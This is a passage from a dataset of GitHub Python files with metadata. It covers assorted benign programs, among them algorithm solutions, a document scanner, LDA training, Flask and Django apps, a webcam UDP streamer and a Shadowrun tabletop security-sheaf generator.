O(m*n)\n","repo_name":"0xspringtime/leetcode","sub_path":"1329n.py","file_name":"1329n.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5187270811","text":"import os\n\nfrom . import LayerSparsity\n\n\nclass Hoplite:\n \"\"\"Hoplite Sparsity Analyzer\"\"\"\n\n def __init__(\n self, model, preprocess, layers=[], zero_sensitivity=0, total_max=None\n ):\n \"\"\"Hoplite class constructor\n\n model - Keras Model to be analyzed\n preprocess - a function that takes in a filename and returns input run the model on\n layers - a list of the names of the layers to analyze outputs of\n zero_sensitivity (optional) - how sensitive to be when checking for zeroes\n total_max (optional) - total number of inputs Hoplite will accept, it will skip the rest\"\"\"\n\n self.model = model\n self.preprocess = preprocess\n self.layers = layers\n self.zero_sensitivity = zero_sensitivity\n self.total_max = total_max\n self.counter = 0 # number of times analysis has run\n\n # using dictionary comphrension since .fromkeys() function\n # default value all points to the same object which leads\n # to nasty errors (which were sorta hard to track down)\n self.sparsities = {key: [] for key in self.layers}\n\n def equals_zero(self, number):\n \"\"\"Checks if a given number is considered zero\"\"\"\n return abs(number) < self.zero_sensitivity\n\n def exceeded_max(self):\n \"\"\"Checks if exceeded max yet\"\"\"\n return self.total_max is not None and self.counter > self.total_max\n\n def analyze_file(self, filename):\n \"\"\"Analyze a given file\"\"\"\n if self.exceeded_max():\n return\n\n if self.preprocess is not None:\n input = self.preprocess(filename)\n else:\n with open(filename, \"r\") as file:\n input = file.read()\n\n self.analyze_raw(input)\n\n def analyze_dir(self, dirname):\n \"\"\"Analyze a directory of files\"\"\"\n if self.exceeded_max():\n return\n\n for (dirpath, dirnames, filenames) in os.walk(dir_name):\n for filename in filenames:\n self.analyze_file(dirname + \"/\" + filename)\n\n def analyze_raw(self, input):\n \"\"\"Analyze raw input\"\"\"\n if self.exceeded_max():\n return\n\n for layer in self.layers:\n layer_s = LayerSparsity(layer, self.model.get_layer(layer).output_shape[1:])\n layer_s.set_sparsities(self.model, input, equals_zero=self.equals_zero)\n print(\"added: {}\".format(layer_s))\n self.sparsities[layer].append(layer_s)\n\n def output(self, filename):\n for layer in self.sparsities:\n LayerSparsity.average(self.sparsities[layer]).output(filename)\n","repo_name":"prydt/hoplite2","sub_path":"hoplite2/hoplite.py","file_name":"hoplite.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8437877426","text":"import heapq\n\ndef solution(jobs):\n pq = []\n cnt = 0\n st = -1\n curr = 0\n tot = 0\n while cnt < len(jobs):\n for j in jobs:\n if st < j[0] <= curr:\n heapq.heappush(pq, (j[1],j[0]))\n if pq:\n job = heapq.heappop(pq)\n st = curr\n curr += job[0]\n tot += curr - job[1]\n cnt += 1\n else:\n curr += 1\n \n return tot // len(jobs)","repo_name":"moon9ua/study_ps","sub_path":"프로그래머스/lv3/42627. 디스크 컨트롤러/디스크 컨트롤러.py","file_name":"디스크 컨트롤러.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"34985396110","text":"import cv2\nimport numpy as np\nimport tkinter as tk\nfrom tkinter import messagebox\nroot = tk.Tk()\nroot.withdraw()\nwidth_img = 500\nheigth_img = 300\n\n\n# --- get video stream from ip camera\ncap = cv2.VideoCapture(\"http://192.168.1.71:4747/video\")\n# --- set width and height for video\ncap.set(3, heigth_img) # ---- setting for height\ncap.set(4, width_img) # ---- setting for width\ncap.set(10, 150) # ---- setting for brightness\n\n\n# --- some process on each frame of vedeo\ndef preProcessing(img):\n # --- make gray scale\n imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # --- insert a Gaussian blur for removing noise\n imgBlur = cv2.GaussianBlur(imgGray, (5, 5), 0.5)\n # --- find edge of each things\n imgCanny = cv2.Canny(imgBlur, 200, 200)\n kernel = np.ones((5, 5))\n # --- dilation and erodsion in frame\n imgDial = cv2.dilate(imgCanny, kernel, iterations=2)\n imgThres = cv2.erode(imgDial, kernel, iterations=1)\n return imgThres, imgCanny\n\n\n# --- tring to find boggest countour`s area and return it\ndef getCountours(img):\n countours, hierarchy = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n maxArea = 0\n biggest = np.array([])\n for cnt in countours:\n area = cv2.contourArea(cnt)\n if area > 3000:\n # cv2.drawContours(img_countour, cnt, -1, (255, 0, 0), 3)\n peri = cv2.arcLength(cnt, True)\n approx = cv2.approxPolyDP(cnt, 0.02 * peri, True)\n if area > maxArea and len(approx) == 4:\n biggest = approx\n maxArea = area\n # --- draw the biggest countour\n cv2.drawContours(img_countour, biggest, -1, (255, 0, 0), 20)\n return biggest\n\n\n# --- this function sort each of 4 x,y of each corner of doc for best wrapping\ndef reorder(myPoints):\n myPoints = myPoints.reshape((4, 2))\n myPointsNew = np.zeros((4, 1, 2), np.int32)\n add = myPoints.sum(1)\n\n myPointsNew[0] = myPoints[np.argmin(add)]\n myPointsNew[3] = myPoints[np.argmax(add)]\n diff = np.diff(myPoints, axis=1)\n myPointsNew[1] = myPoints[np.argmin(diff)]\n myPointsNew[2] = myPoints[np.argmax(diff)]\n return myPointsNew\n pass\n\n\ndef getWrap(img, biggest):\n imgOutput = imgCropped = np.ones((width_img, heigth_img))\n if biggest != []:\n biggest = reorder(biggest)\n pts1 = np.float32(biggest)\n # pts1 = np.reshape(pts1 - np.reshape(np.array([[5, 5], [5, 5], [5, 5], [5, 5]]), (4, 1, 2)), (4, 1, 2))\n # print(pts1,np.shape(pts1))\n pts2 = np.float32([[0, 0], [width_img, 0], [0, heigth_img], [width_img, heigth_img]])\n matrix = cv2.getPerspectiveTransform(pts1, pts2)\n imgOutput = cv2.warpPerspective(img, matrix, (width_img, heigth_img))\n imgCropped = imgOutput[10:imgOutput.shape[0] - 10, 10:imgOutput.shape[1] - 10]\n imgCropped = cv2.resize(imgCropped, (width_img, heigth_img))\n return imgCropped\n\n\ni = 0\nwhile True:\n bool_result, img = cap.read()\n img = cv2.resize(img, (width_img, heigth_img))\n img_countour = img\n imgThres, h = preProcessing(img)\n biggest = getCountours(imgThres)\n # print(biggest)\n wrap = getWrap(img, biggest)\n wrap = cv2.resize(wrap, (width_img, heigth_img))\n\n cv2.imshow(\"image\", img_countour)\n cv2.imshow(\"wrap5\", wrap)\n k = cv2.waitKey(1)\n if k == 113:\n break\n elif k == 115:\n print(\"Ok\")\n cv2.imwrite(\"./saved_images/saved_\" + str(i) + \".jpg\", wrap)\n messagebox.showinfo(\"saved !!\", \"Your picture has been saved .\")\n i = i + 1\n pass\n","repo_name":"mertz1999/real_time_docScan_ip_camera","sub_path":"Doc.py","file_name":"Doc.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"70588084626","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.decomposition import LatentDirichletAllocation\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom matplotlib import pyplot as plt\nimport pyLDAvis\nfrom nltk import word_tokenize\nfrom nltk.stem import PorterStemmer, SnowballStemmer\nstemming = SnowballStemmer(\"english\")\nfrom nltk.stem import WordNetLemmatizer\nwnl = WordNetLemmatizer()\nfrom nltk.corpus import stopwords\nstops = set(stopwords.words(\"english\"))\nfrom joblib import dump, load\n\ndef identify_tokens(text):\n tokens = word_tokenize(str(text))\n # taken only words (not punctuation)\n token_words = [w for w in tokens if w.isalpha()]\n return token_words\n\ndef do_stemming(inlist):\n return [stemming.stem(word) for word in inlist]\n\ndef remove_stops(inlist):\n return [w for w in inlist if not w in stops]\n\ndef do_join(inlist):\n return \" \".join(inlist)\n\nroot_dir = \"D:\\Programming\\Python\\DonorsChoose\\data\\DonorsChoose/\"\nmodel_dir = \"D:\\Programming\\Python\\DonorsChoose\\model/\"\n\ndf = pd.read_csv(root_dir + \"Projects.csv\")\n\ntexts = df[\"Project Essay\"].sample(n = 500000, random_state= 42)\n\n# apply lda to approximate picture\ntexts= texts.apply(identify_tokens)\ntexts= texts.apply(do_stemming)\ntexts= texts.apply(remove_stops)\ntexts= texts.apply(do_join)\n\nvectorizer = CountVectorizer()\ntexts_vec = vectorizer.fit_transform(texts)\ndump(vectorizer, model_dir + 'vectorizer_lda_V2.pkl')\n\nlog_likelihood = []\nperplexity = []\n\nfor x in np.arange(7, 11):\n print(x)\n lda = LatentDirichletAllocation(n_components=x, random_state=42)\n lda.fit(texts_vec)\n dump(lda, model_dir + 'lda_model_{}_V2.pkl'.format(x))\n log_l = lda.score(texts_vec)\n print(\"Log Likelihood (n_comp: {}): {}\".format(x, log_l))\n log_likelihood.append(log_l)\n perplex = lda.perplexity(texts_vec)\n print(\"Perplexity (n_comp: {}): {}\".format(x, perplex))\n perplexity.append(perplex)\n\nplt.plot(log_likelihood)\nplt.show()\n\nplt.plot(perplexity)\nplt.show()\n\n#lda = LatentDirichletAllocation(n_components=15, random_state=42)\n#if os.path.exists(aux_dir + \"X_picture.npy\"):\n# X_picture =np.load(aux_dir + \"X_picture.npy\")\n#else:\n# X_picture = lda.fit_transform(X_vec)\n# np.save(aux_dir + \"X_picture.npy\", X_picture)\n#print(\"picture\")\n\n#if show_lda_panel: #only possible if using jupyter\n# pyLDAvis.enable_notebook()\n# panel = pyLDAvis.sklearn.prepare(lda, X_vec, vectorizer, mds='tsne')\n# panel","repo_name":"Faruman/DonorsChoose","sub_path":"lda/trainLDA.py","file_name":"trainLDA.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26127094159","text":"#Exercise 1 \n#Write a function called distance_between_points that takes two Points as arguments and returns the distance between them.\nfrom math import sqrt\nclass Point():\n\tdef __init__(self, x, y ):\n\t\tself.x = x\n\t\tself.y = y\n\tdef distance_to(self, other):\n\t\tdelx = self.x - other.x\n\t\tdely = self.y - other.y\n\t\treturn sqrt(delx **2 + dely **2)\n\na = Point(0,0)\nb = Point(3,4)\nprint(f\"Distant from a({a.x}, {a.y}) to b({b.x}, {b.y}) is {a.distance_to(b)}\")\n\na = Point(0,1)\nb = Point(0,5)\nprint(f\"Distant from a({a.x}, {a.y}) to b({b.x}, {b.y}) is {a.distance_to(b)}\")\n","repo_name":"ecaohuy/pythonlab","sub_path":"distance_between_points.py","file_name":"distance_between_points.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33934165636","text":"# 문제 : 베르트랑 공준\n'''\n1보다 큰 자연수 중에서 1과 자기 자신을 제외한 약수가 없는 자연수를 소수라고 한다. 예를 들어, 5는 1과 5를 제외한 약수가 없기 때문에 소수이다. 하지만, 6은 6 = 2 × 3 이기 때문에 소수가 아니다.\n \n골드바흐의 추측은 유명한 정수론의 미해결 문제로, 2보다 큰 모든 짝수는 두 소수의 합으로 나타낼 수 있다는 것이다.\n이러한 수를 골드바흐 수라고 한다. 또, 짝수를 두 소수의 합으로 나타내는 표현을 그 수의 골드바흐 파티션이라고 한다.\n예를 들면, 4 = 2 + 2, 6 = 3 + 3, 8 = 3 + 5, 10 = 5 + 5, 12 = 5 + 7, 14 = 3 + 11, 14 = 7 + 7이다. 10000보다 작거나 같은 모든 짝수 n에 대한 골드바흐 파티션은 존재한다.\n\n2보다 큰 짝수 n이 주어졌을 때, n의 골드바흐 파티션을 출력하는 프로그램을 작성하시오. 만약 가능한 n의 골드바흐 파티션이 여러 가지인 경우에는 두 소수의 차이가 가장 작은 것을 출력한다.\n'''\n\n\n# 입력\n'''\n첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있고 짝수 n이 주어진다.\n'''\n\n# 출력\n'''\n각 테스트 케이스에 대해서 주어진 n의 골드바흐 파티션을 출력한다. 출력하는 소수는 작은 것부터 먼저 출력하며, 공백으로 구분한다.\n'''\n\nimport math\n\ndef isPrime(N):\n\n n = int(math.sqrt(N))\n for num in range(2, n+1):\n if N % num == 0:\n return False\n \n return True\n\nT = int(input())\n\nfor _ in range(T):\n\n n = int(input())\n\n big = int(n / 2)\n small = int(n / 2)\n\n while True:\n\n if isPrime(big) and isPrime(small):\n break\n\n else:\n big += 1\n small -= 1\n\n print(small, big)\n\n# Output\n'''\n* Internet Code : 메모리 35,644KB / 시간 744 ms\n'''\n","repo_name":"fubabaz/algorithm","sub_path":"src/keyhong/backjoon/python/_9020.py","file_name":"_9020.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"34973968914","text":"# AUTHOR: Sumit Sahay\n# Importing required libraries\nfrom flask import Flask, render_template, request, redirect, url_for\nimport warnings\nimport pandas as pd\nwarnings.filterwarnings(\"ignore\")\n\n# Importing model library\nimport model\n\n\n# Initializing Flask App\napp = Flask(__name__)\n\n\n# Defining method for root path\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route('/recommend-products', methods=['POST'])\ndef recommendProducts():\n # Fetching the user entered username \n username = str(request.form.get('username'))\n\n # Getting recommendations for user using the model\n modelOutput = model.sentimentBasedProductRecommendations(username)\n\n # Checking type of variable if it's not a list then it will be an error\n if type(modelOutput) != list : \n # Returning the error to be displayed\n return render_template('index.html', error=modelOutput)\n\n # If output is a list then:\n # Converting recommendations list to a dataFrame\n recommendations = pd.DataFrame(modelOutput, columns=['Product Recommendations'])\n\n # Creating a HTML table using DataFrame\n recommendations_table = [recommendations.to_html(classes='recommendations')]\n # Defining Table title\n table_title = ['NAN', 'Top 5 Product Recommendations for : {}'.format(username)]\n\n # Rendering Template while passing the results\n return render_template('index.html', productsTable = recommendations_table, titles=table_title)\n\n@app.route('/allusernames', methods=['GET'])\ndef allUsernames():\n # Reading usernames from source i.e. recommendation system\n usernamesList = list(model.ProductRecommendationSystem.index)\n\n # Converting List to a dataframe\n usernamesDF = pd.DataFrame(usernamesList, columns=['Available Usernames'])\n\n # Creating a HTML table using DataFrame\n usernameTable = [usernamesDF.to_html(classes='usernames')]\n # Defining Table title\n table_title = ['NAN', 'List of all usernames available in SBPRS Database']\n\n # Rendering the page\n return render_template('allusernames.html', usernameTable = usernameTable, titles = table_title )\n\n\n# Starting Flask Application\nif __name__ == '__main__' :\n app.run()","repo_name":"sumitsahay68/SentimentBasedProductRecommendationSystem","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"16311846429","text":"from django.shortcuts import render, get_object_or_404\nfrom rest_framework import viewsets, generics\nfrom apps.symbols.models import OcTsgSymbols\nfrom .serializers import SymbolSerializer, SymbolShortSerializer\nfrom .forms import SymbolsForm\nfrom django.urls import reverse_lazy\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.conf import settings\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.template.loader import render_to_string\n\n\nclass Symbols(viewsets.ModelViewSet):\n queryset = OcTsgSymbols.objects.all()\n serializer_class = SymbolShortSerializer\n\n\ndef all_symbols(request):\n template_name = 'symbols/symbols-list.html';\n context = {'pageview': 'Symbols'}\n return render(request, template_name, context)\n\n\ndef symbol_details(request, pk):\n symbol_obj = get_object_or_404(OcTsgSymbols, pk=pk)\n\n context = {\"symbol_obj\": symbol_obj}\n template_name = 'symbols/symbols-edit.html'\n\n context['pageview'] = 'All symbols'\n context['heading'] = 'symbol details'\n return render(request, template_name, context)\n\n\ndef symbol_create(request):\n template_name = 'symbols/sub_layout/symbols-create.html'\n context = {}\n context['heading'] = \"Symbols\"\n context['pageview'] = \"New Symbol\"\n\n if request.method == 'POST':\n form = SymbolsForm(request.POST)\n if form.is_valid():\n form.save()\n success_url = reverse_lazy('allsymbols')\n return HttpResponseRedirect(success_url)\n\n else:\n symbol_obj = OcTsgSymbols\n symbol_iniitials = {\n 'image_path': '',\n 'refenceno': '',\n 'referent': '',\n 'function': '',\n 'content': '',\n 'hazard': '',\n 'humanbehav': '',\n 'svg_path': '',\n 'title': '',\n 'image_width': 0,\n 'image_height': 0,\n\n\n }\n\n form = SymbolsForm(instance=symbol_obj, initial=symbol_iniitials)\n context['form'] = form\n context['return_url'] = reverse_lazy('allsymbols')\n return render(request, template_name, context)\n\n\nclass SymbolsUpdateView(UpdateView):\n model = OcTsgSymbols\n form_class = SymbolsForm\n template_name = 'symbols/sub_layout/symbols-edit.html'\n success_url = reverse_lazy('allsymbols')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n obj = super().get_object()\n context['pageview'] = 'Symbols'\n context['pageview_url'] = reverse_lazy('allsymbols')\n context['symbol_image_path'] = f\"{settings.MEDIA_URL}{obj.image_path}\"\n return context\n\n\nclass SymbolCreateView(CreateView):\n form_class = SymbolsForm\n success_url = reverse_lazy('allsymbols')\n template_name = 'symbols/sub_layout/symbols-create.html'\n\n\nclass Symboldelete(DeleteView):\n model = OcTsgSymbols\n form_class = SymbolsForm\n success_message = 'Symbol deleted'\n success_url = reverse_lazy('allsymbols')\n\n\ndef symbol_delete_dlg(request, symbol_id):\n data = dict()\n template_name = 'symbols/sub_layout/symbol_delete.html'\n context = {'symbol_id': symbol_id}\n\n data['html_form'] = render_to_string(template_name,\n context,\n request=request\n )\n return JsonResponse(data)\n","repo_name":"simonfroggatt/medusa","sub_path":"apps/symbols/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74778104465","text":"\r\n\r\n\r\nimport socket\r\nimport numpy as np\r\nimport cv2 as cv\r\nimport cv2\r\nfrom PIL import Image\r\n\r\nip = str(input(\"Enter ip to connect:\"))\r\naddr = (ip, 8080)\r\nbuf = 512\r\nwidth = 640/2\r\nheight = 480/2\r\ncap = cv.VideoCapture(0)\r\ncap.set(3, width)\r\ncap.set(4, height)\r\ncode = 'start'\r\ncode = ('start' + (buf - len(code)) * 'a').encode('utf-8')\r\n\r\ndef rescale_frame(frame, percent=75):\r\n width = int(frame.shape[1] * percent/ 100)\r\n height = int(frame.shape[0] * percent/ 100)\r\n dim = (width, height)\r\n return cv2.resize(frame, dim, interpolation =cv2.INTER_AREA)\r\n\r\n\r\nif __name__ == '__main__':\r\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n while(cap.isOpened()):\r\n ret, frame = cap.read()\r\n if ret:\r\n s.sendto(code, addr)\r\n data = frame.tostring()\r\n for i in range(0, len(data), buf):\r\n s.sendto(data[i:i+buf], addr)\r\n # cv.imshow('send', frame)\r\n # if cv.waitKey(1) & 0xFF == ord('q'):\r\n # break\r\n else:\r\n break\r\n # s.close()\r\n # cap.release()\r\n # cv.destroyAllWindows()","repo_name":"jeevana28/video_streaming_udp","sub_path":"clientvs.py","file_name":"clientvs.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22765831561","text":"# import easing functions\nfrom easing_functions import *\n\n# define font and size\nmyFontPath = 'CondorVariable-VF.ttf'\nmyFontSize = 300\n\n# define number of frames\nmyPageCount = 20\n\n# set canvas font and get info\n# including variable axis min and max\n# and x-height\nfont(myFontPath)\nfontSize(myFontSize)\nmyVariations = listFontVariations()\nmyMin = myVariations['wght']['minValue']\nmyMax = myVariations['wght']['maxValue']\nmyXHeight = fontXHeight()\n\n\n# we will run through loop twice\n# once up and once down\nfor myDirection in range(2):\n \n # the first time the numbers go up\n if myDirection == 0:\n myMin = myVariations['wght']['minValue']\n myMax = myVariations['wght']['maxValue']\n myWidthMin = myVariations['wdth']['minValue']\n myWidthMax = myVariations['wdth']['maxValue']\n # otherwise the numbers go down\n else:\n myMax = myVariations['wght']['minValue']\n myMin = myVariations['wght']['maxValue']\n myWidthMin = myVariations['wdth']['maxValue']\n myWidthMax = myVariations['wdth']['minValue']\n \n # define our easing objects\n # min, max, duration\n myEasing = SineEaseOut(myMin, myMax, myPageCount)\n myWidthEasing = SineEaseIn(myWidthMin, myWidthMax, myPageCount)\n \n # loop through each page\n for myPage in range(myPageCount):\n # make a new page\n newPage()\n frameDuration(1/20)\n # white background\n fill(1)\n rect(0, 0, width(), height())\n fill(0)\n # get the weight and width values by feeding our easing objects\n # our page number, which represents how far we are\n # through the easing\n myWeight = myEasing.ease(myPage)\n myWidth = myWidthEasing.ease(myPage)\n \n # define the formatted string with those variable axis values\n myString = FormattedString(\n 'hip', \n font=myFontPath, \n fontSize=myFontSize, \n fontVariations={'wght': myWeight, 'wdth': myWidth}\n )\n # move to center minus half x-height\n translate(width()/2, height()/2-myXHeight/2)\n # draw the formatted string to canvas\n text(myString, (0, 0), align=\"center\")\n \n# save as an animated gif\nsaveImage('animate.gif')","repo_name":"djrrb/Python-for-Visual-Designers-Fall-2022","sub_path":"session-5/code/15-drawVariableFontEasing.py","file_name":"15-drawVariableFontEasing.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1102191087","text":"# dropdown.py\n# https://youtu.be/lB9pypRYev4?list=PLjM3-neCG6qx4RFeq2X-TpWS_tJTk1qZP&t=88\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\ndriver = webdriver.Chrome(\"chromedriver.exe\")\ndriver.get(\"http://newtours.demoaut.com\")\ntime.sleep(1)\ndriver.find_element_by_link_text(\"REGISTER\").click()\ncountryDropDown = Select(driver.find_element_by_name(\"country\"))\ncountryDropDown.select_by_index(5)\ncountryDropDown.select_by_value(\"11\") #bahamas\ncountryDropDown.select_by_visible_text(\"CONGO\")\ntime.sleep(5)\ndriver.quit()\n\n","repo_name":"eacevedof/prj_python37","sub_path":"selenium/poc/dropdown.py","file_name":"dropdown.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"5338696216","text":"###\n# Security Sheaf\n# Core Rulebook p.210\n# Matrix p.115\n# Description: As the Decker performs illegitimate actions on a host, the host system will begin to rack up a security tally\n# At predetermined levels in the tally, or Trigger Steps, the host security will respond with IC or various alert stages.\n###\n\nfrom typing import Dict\n\nfrom sheaf_generator import matrix_constants as matrix\nfrom sheaf_generator.dice_roller import basic_roll\nfrom sheaf_generator.ic_program import ICProgram\n\n\ndef roll_trigger_step(system_security_level: int) -> int:\n \"\"\"\n The roll_trigger_step function takes the system security level (Blue, Green, Orange, Red) and converts it to a modifier and rolls 1d3 as a base-step.\n It then adds the modifier to the base step\n The function returns an integer representing the trigger step.\n\n :param system_security_level:int: Determine the modifier for the base step\n :return: A number based on the system security level\n :doc-author: Rocin\n \"\"\"\n base_step = sum(basic_roll(1, 3))\n\n switch = {\n 0: base_step + 4,\n 1: base_step + 3,\n 2: base_step + 2,\n 3: base_step + 1\n }\n return switch.get(system_security_level, \"Invalid Number\")\n\n\ndef print_ic_list(ic_list):\n string = \"\"\n if ic_list:\n if len(ic_list) > 1:\n for ic_program in ic_list:\n string += f\"{ic_program}\\n\"\n return string\n else:\n return ic_list[0]\n else:\n return None\n\n\nclass SheafEvent:\n \"\"\"\n The Sheaf Event is the description of any IC that is generated for a particular tally threshold\n It will also denote any change in status to the alert level of the system\n \"\"\"\n\n def __init__(self, current_step: int):\n self.current_step = current_step\n self.title = \"\"\n self.ic_list = []\n self.is_construct = False\n self.is_party_cluster = False\n\n def __str__(self):\n if self.ic_list:\n return f\"{self.current_step}: {print_ic_list(self.ic_list)}\"\n else:\n return f\"{self.current_step}: {self.title}\"\n\n\nclass AlertContainer:\n def __init__(self, ic_level=\"\", ic_category=None, is_alert_step=False):\n self.ic_level = ic_level\n self.ic_category = ic_category\n self.is_alert_step = is_alert_step\n\n def __str__(self):\n if self.ic_level == matrix.BLACK:\n return f\"{matrix.BLACK} IC\"\n else:\n return f\"{self.ic_category}-{self.ic_level} IC\"\n\n def roll_alert_table(self, system_alert_level: int, steps_since_last_alert: int,\n limit_to_ic_generation: bool = False):\n \"\"\"\n The roll_alert_table function is used to determine what alerts are generated by the system or if there is a change is System Alert Level\n It takes three arguments:\n 1) The current alert level of the system (0, 1, or 2). This determines what type of IC can be generated\n 2) The number of steps since the last alert was generated for this system. This value is added to any roll results and then compared against a list of possible results that can occur when rolling an Alert Table in SR5 (see matrix_constants file).\n 3) A boolean to indicate whether the steps_since_last_alert will be added to the roll, if it is not added, triggering an alert step is not possible and IC will be generated\n \n If the final results are high enough to trigger an alert step, no IC is generated at the time.\n \n :param system_alert_level:int: Determine which alert level to use for the current step\n :param steps_since_last_alert:int: Track the number of steps since the last alert was triggered\n :param limit_to_ic_generation:bool: Limit the alert table to only those that are used for generating IC\n :return: AlertContainer containing information on IC Level and Category or if an alert step has been triggerd\n :doc-author: Rocin\n \"\"\"\n roll_result = sum(basic_roll())\n\n final_results = roll_result if limit_to_ic_generation else roll_result + steps_since_last_alert\n\n # print(f\"Final Results: {final_results}\")\n\n if system_alert_level == 0:\n if final_results in [1, 2, 3]:\n self.add_ic(matrix.WHITE, matrix.REACTIVE)\n elif final_results in [4, 5]:\n self.add_ic(matrix.WHITE, matrix.PROACTIVE)\n elif final_results in [6, 7]:\n self.add_ic(matrix.GRAY, matrix.REACTIVE)\n else:\n self.is_alert_step = True\n elif system_alert_level == 1:\n if final_results in [1, 2, 3]:\n self.add_ic(matrix.WHITE, matrix.PROACTIVE)\n elif final_results in [4, 5]:\n self.add_ic(matrix.GRAY, matrix.REACTIVE)\n elif final_results in [6, 7]:\n self.add_ic(matrix.GRAY, matrix.PROACTIVE)\n else:\n self.is_alert_step = True\n else:\n if final_results in [1, 2, 3]:\n self.add_ic(matrix.GRAY, matrix.PROACTIVE)\n elif final_results in [4, 5]:\n self.add_ic(matrix.WHITE, matrix.PROACTIVE)\n elif final_results in [6, 7]:\n self.add_ic(matrix.BLACK)\n else:\n self.is_alert_step = True\n\n return self\n\n def add_ic(self, ic_level: str, ic_category: str = None):\n \"\"\"\n The add_ic function sets the level code (color) and category (Reactive, or Proactive) for an IC\n\n :param self: Refer to the object itself\n :param ic_level:str: Level Code (White, Gray, Black) for an IC\n :param ic_category:str: Category (Reactive or Proactive) of an IC\n :doc-author: Rocin\n \"\"\"\n self.ic_level = ic_level\n self.ic_category = ic_category\n\n\ndef generate_sheaf(system_security_level: int, system_security_rating: int) -> list[SheafEvent]:\n alert_level_table: Dict[int, str] = {\n 0: matrix.NO_ALERT,\n 1: matrix.PASSIVE_ALERT,\n 2: matrix.ACTIVE_ALERT,\n 3: matrix.SHUTDOWN\n }\n\n # Initialize Variables\n system_alert_level = 0 # Starts at No Alert\n steps_since_last_alert = 0\n current_step = 0\n # Loop Fail Safe\n max_steps = 100\n\n sheaf_step_list = []\n\n # Loop until system reaches Shutdown Status or hits fail-safe limit\n while system_alert_level < 3 and current_step < max_steps:\n # Step 1: Calculate next Trigger Step\n current_step += roll_trigger_step(system_security_level)\n print(f\"Current Step: {current_step}\")\n\n # Step 2: Generate a Sheaf Event for the current step\n sheaf_event = SheafEvent(current_step)\n\n # Step 3: Determine if the Alert Status of the system is changing or if the system is generating IC, packaged in an AlertContainer\n alert_container = AlertContainer().roll_alert_table(system_alert_level, steps_since_last_alert)\n\n # Step 4: Process The AlertContainer to check for changes in System Alert Level\n if alert_container.is_alert_step: # Sheaf Step has triggered a change in the Alert Level\n steps_since_last_alert = 0\n system_alert_level += 1\n\n sheaf_event.title = alert_level_table[system_alert_level]\n\n print(f\"Alert Status: {alert_level_table[system_alert_level]}\")\n\n # If the Host is Blue or Green (Level Code 0 or 1), or it has reached Shutdown, it won't generate IC on an alert step and can continue\n # Otherwise, re-roll the alert table and force generation of IC alongside the alert level\n if not (system_alert_level <= 1 or system_alert_level == 3):\n alert_container.roll_alert_table(system_alert_level, steps_since_last_alert, True)\n else:\n steps_since_last_alert += 1\n\n # Step 5: Generate IC and add to list for Sheaf Event\n if alert_container.ic_level:\n ic_program = ICProgram(alert_container.ic_level, alert_container.ic_category).process_ic(\n system_security_rating)\n\n sheaf_event.ic_list.append(ic_program)\n\n print(ic_program)\n\n sheaf_step_list.append(sheaf_event)\n\n # Fail-safe and Debug\n current_step += 1\n\n print(\"Complete!\\n\\n\")\n return sheaf_step_list\n","repo_name":"RocinRykor/testingGround","sub_path":"sheaf_generator/security_sheaf.py","file_name":"security_sheaf.py","file_ext":"py","file_size_in_byte":8334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36336303354","text":"#!/usr/bin/env python3\n\nfrom scipy.sparse import csr_matrix\nfrom scipy.io import mmwrite\nfrom collections import defaultdict, Counter\nimport numpy as np\nimport sys\nimport os\n\n\ndef read_markers_ec(fname, markers_ec=defaultdict(list)):\n with open(fname, \"r\") as f:\n for idx, line in enumerate(f.readlines()):\n ct_id, gene_ids = line.strip().split(\"\\t\")\n markers_ec[int(ct_id)] = [int(i) for i in gene_ids.split(\",\")]\n\ndef read_txt(fname):\n with open (fname, 'r') as f:\n return [line.rstrip() for line in f]\n\ndef index_markers(\n markers_fname,\n):\n celltype = defaultdict()\n marker_genes = defaultdict()\n markers_ec = defaultdict(list)\n groups = []\n elements = []\n with open(markers_fname, \"r\") as f:\n for idx, line in enumerate(f.readlines()):\n ct, genes = line.strip().split(\"\\t\")\n groups.append(ct)\n 